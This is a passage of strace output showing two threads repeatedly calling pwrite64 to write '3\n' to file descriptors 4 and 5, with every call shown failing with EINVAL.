[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
